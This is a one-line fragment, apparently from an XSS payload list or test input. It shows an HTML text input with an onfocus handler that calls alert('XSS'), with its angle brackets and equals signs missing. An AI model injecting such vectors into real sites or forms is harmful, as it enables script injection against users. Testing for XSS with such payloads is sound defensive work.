input type 'text' value 'XSS' onfocus 'alert("XSS")'